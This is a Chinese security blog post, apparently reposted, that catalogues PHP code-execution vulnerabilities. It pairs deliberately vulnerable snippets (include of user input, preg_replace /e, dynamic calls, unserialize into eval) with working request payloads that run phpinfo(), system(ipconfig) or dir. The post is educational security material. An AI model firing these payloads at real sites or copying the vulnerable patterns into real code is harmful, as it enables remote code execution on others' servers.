您的位置 » 首页 » 人文创业 » PHP代码执行漏洞总结

PHP代码执行漏洞总结

发表于5年前 | 作者: seay | 分类: 人文创业 | 孵化于:2012年08月26日 | 文章热度:7,571 次 全屏阅读

显示不全请点击全屏阅读

preg_replace()使用
一 代码执行函数

PHP中可以执行代码的函数。如eval()、assert()、“、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等

demo code 1.1:

<?php
echo `dir`;
?>

二 文件包含代码注射

文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。

当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

demo code 2.1:

<?php
include($_GET[‘a’]);
?>

访问http://www.8090sec.com/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即
执行phpinfo()。

三 正则匹配代码注射

众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下

3.1 preg_replace() pattern 参数注射

pattern即第一个参数的代码注射。
当magic_quotes_gpc=Off时,导致代码执行。

demo code 3.1:

<?php
echo $regexp = $_GET[‘reg’];
$var = ‘<php>phpinfo()</php>’;
preg_replace(“/<php>(.*?)$regexp”, ‘\1’, $var);
?>

访问http://www.8090sec.com/preg_replace1.php?reg=%3C/php%3E/e 即
执行phpinfo()。

3.2 preg_replace() replacement参数注射

replacement即第二个参数的代码注射,导致代码执行。
demo code 3.2:

<?
preg_replace(“/test/e”,$_GET[‘h’],”jutst test”);
?>

当我们提交 http://www.8090sec.com/preg_replace2.php?h=phpinfo() 即
执行phpinfo()。

3.3 preg_replace()第三个参数注射

我们通过构造subject参数执行代码。提交:http://www.8090sec.com/preg_replace3.php?h=[php]phpinfo()[/php]

或者 http://www.8090sec.com/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行

demo code 3.3:

<?
preg_replace(“/s*[php](.+?)[/php]s*/ies”, “\1”, $_GET[‘h’]);
?>

四 动态代码执行

4.1 动态变量代码执行

demo code 4.1:

<?php
$dyn_func = $_GET[‘dyn_func’];
$argument = $_GET[‘argument’];
$dyn_func($argument);
?>

我们提交 http://www.8090sec.com/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令

4.2 动态函数代码执行

demo code 4.2:
<pre lang=”php” file=”demo42.php” colla=”+”>
<?php
$foobar = $_GET[‘foobar’];
$dyn_func = create_function(‘$foobar’, “echo $foobar;”);
$dyn_func(”);
?>
</pre>
我们提交 http://www.8090sec.com/create_function.php?foobar=system%28dir%29 执行dir命令

五 其他

5.1 ob_start()函数的代码执行

demo code 5.1:
<pre lang=”php” file=”demo51.php” colla=”+”>
<?php
$foobar = ‘system’;
ob_start($foobar);
echo ‘dir’;
ob_end_flush();
?>
</pre>
5.2 array_map()函数的代码执行

demo code 5.2:

<pre lang=”php” file=”demo52.php” colla=”+”>
<?php
$evil_callback = $_GET[‘callback’];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>
</pre>
我们提交 http://www.8090sec.com/array_map.php?callback=phpinfo 即执行phpinfo()。

 

5.3 unserialize()与eval()

unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。

demo code 5.3:

<pre lang=”php” file=”demo53.php” colla=”+”>
<?php
class Example {
var $var = ”;
function __destruct() {
eval($this->var);
}
}
unserialize($_GET[‘saved_code’]);
?>
</pre>
我们提交 http://www.8090sec.com/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。

5.4 容易导致安全问题的函数

同类型函数还有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

 

转自:人生注入点博客

Tags:

PHP代码执行漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/702/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)